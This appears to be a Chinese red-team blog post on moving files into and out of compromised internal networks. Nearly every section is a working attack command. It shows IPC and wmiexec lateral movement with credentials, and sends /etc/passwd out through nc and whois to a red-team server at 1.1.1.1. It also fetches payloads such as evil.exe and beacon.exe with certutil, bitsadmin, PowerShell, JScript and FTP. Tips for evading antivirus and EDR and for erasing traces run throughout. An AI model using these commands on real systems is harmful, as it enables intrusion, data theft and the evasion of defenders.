1. 基于 IPC 的文件操作
(1)建立 IPC
建立 IPC 的方式比如最基本的基于明文密码:
net use \\10.10.10.10 /u:redteam\administrator admin!@#45
抓不到明文密码的情况下利用 PTH 攻击
(2)通过 IPC 通道传输文件(落地优先考虑共享目录)
上传:copy evil.exe \\10.10.10.10\c$\windows\sysvol
下载:cppy \\10.10.10.10\c$\users\administrator\desktop\secret.txt
2. Windows 自带的命令
(1)基于横向移动文件传输
这边假如通过 wmic 进行了横移
wmiexec.exe redteam\administrator:admin!@#45@10.10.10.10
我们可以看到 put 和 get 两个命令
上传:put C:\Users\emotionswalker\desktop\evil.exe
下载:get C:\1.txt
(2)Windows 自带压缩命令
我认为 makecab 也是 OPSEC 很关键的一环,在钓鱼时逃避 MOTW 标记也常常用到
makecab 可以在 Windows 原生环境下对文件进行一个压缩,既能便于传输,又能在一定条件下起到规避 EDR 的作用,得到的 cab 文件也是可以在 Windows 原生环境下打开的
makecab evil.exe good.cab
解压很简单:expand good.cab evil.exe
3. Linux 下内网 whois 文件传输
(1)我们知道当目标机器有 nc 命令,可以轻而易举地进行文件传输操作
红队 vps 执行监听命令:nc -lvp 4444 | base64 -d
受害机运行发送命令:cat /etc/passwd | base64 | nc 1.1.1.1 4444
(2)有一种更隐蔽的传输,配合 rce + whois 命令做到最小化被发现
传输机:whois -h 1.1.1.1 -p 4444 `cat /etc/passwd | base64`
红队 vps:nc -lvp | sed "s/ //g" | base64 -d
连接后需要等待连接超时,小文件数据即可传输过来
(3)利用 whois 命令是否能够反弹 shell 也是一个有意思的实验
4. 利用 Certutil.exe 进行文件操作
(1)远程下载手法
使用 certutil 进行远程下载的命令:
certutil.exe -urlcache -split -f http://ip/beacon.exe
但是由于他下载文件的过程中会创建一个进程,这一特征造成了诸多杀软的拦截
常用的绕过方法也就是堆叠执行:
certutil & certutil -urlcache -split -f http://ip/evil.exe
certutil | certutil -urlcache -split -f http://ip/evil.exe nice.exe (可以进行文件的重命名)
这个命令的弊端是会产生缓存文件,导致留下入侵痕迹,所以每次下载后必须执行:
certutil -urlcache -split -f http://ip/8.exe delete
(这个操作也可以在下载文件的时候直接在后面加 delete,省的再手动清缓存)
(2)base64 加解密文件传输
用于以下几种情况:杀软限制传输的二进制文件大小、不出网的 Win7 x86 机器、某些软件规则被查杀无法上传……
首先在我们自己的机器上将目标文件编码为 txt
可以看到,输出的 txt 文件更大了?
但是 txt 有两个好处,一是我们能够拆分成多个 txt 落地后合并,二是支持终端下直接文本写入(配合 XShell 的大缓存区传输更会有意想不到的效果哦)
这里我将 txt 截取为 3 个文件,进行传输——这样每个文件均小于 10M,假如 smbrelay.exe 因为大于 10M 受到杀软的拦截,那么我们以这样的形式是不是可以传输过去?
接下来只需要将 3 个 txt 合并为 1 个:
copy c:\*txt c:\smbrelay.txt
走一波解码:
certutil -decode smbrelay.txt smbrelay.exe
5. BITSAdmin 远程下载
这也是属于微软的命令行工具,它可以在网络不稳定的情况下下载文件,对于非常复杂苛刻的内网环境值得一试!
bitsadmin /rawreturn /transfer down "http://ip/flag.txt" C:\Windows\Temp\8.txt
6. JS 远程下载
Windows 全版本默认支持 js,并且通过 cscript 来调用达到远程下载的目的
cscript /nologo downfile.js http://ip/flag.txt
downfile.js 内容如下:
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
WScript.Echo(WinHttpReq.ResponseText);
7. 基于 Powershell 的远程下载
(1)Win7 环境 Powershell 2.0
powershell -File down.ps1
down.ps1 内容如下:
$Urls = @()$Urls += "http://ip/flag.txt"
$OutPath = "E:\PDF\"
ForEach ( $item in $Urls) {
$file = $OutPath + ($item).split('/')[-1]
(New-Object System.Net.WebClient).DownloadFile($item, $file)
}
(2)Win2012 Powershell 3.0
powershell C:\down.ps1 (一定要使用绝对路径)
down.ps1 内容如下
$url = "http://ip/flag.txt"
$output = "C:\inetpub\robots.txt"
$start_time = Get-Date
Invoke-WebRequest -Uri $url -OutFile $output
Write-Output "Time : $((Get-Date).Subtract($start_time).Seconds) second(s)"
(3)经典 Powershell 一句话
powershell -exec bypass -c (new-object System.Net.WebClient).DownloadFile('http://ip/flag.txt','C:\flag.txt')
8. ftp 远程下载
(1)为何使用 ftp
首先 ftp 客户端都是默认存在的!
在目标主机无法直接访问外网、有严格的防火墙和代理规则(尤其针对 HTTP/HTTPS 流量)、目标机器上有限的可用工具(系统自带的文件传输工具无法使用)、或者需要传输大文件……
(2)ftp 的传输方式——Binary & Ascii
Ascii:传输 html 和文本编写的文件
Binary: 传文本/非文本(执行文件、压缩文件、图片)
很适合大文件传输,但用 Ascii 传输非文本文件的话会产生大量乱码
(3)利用方式
构造好临时 vps 或肉鸡 vps,配置恶意的 ftp 服务端
注意要在 /etc/vsftpd/vsftpd.conf 添加三行代码设置好 PASV 连接
pasv_enable = YES
pasv_min_port = 6000
pasv_max_port = 7000
写一个脚本 txt:
echo open ip 21 > ftp.txt (红队 vps ip)
echo root >> ftp.txt (ftp 登录账号)
echo 123456 >> ftp.txt (ftp 登录密码)
echo binary >> ftp.txt (定义传输方式)
echo get /home/hahaha/evil.exe >> ftp.txt(下载文件)
echo bye >> ftp.txt (退出 ftp 服务)
运行 ftp:
ftp -s:ftp.txt
Comments NOTHING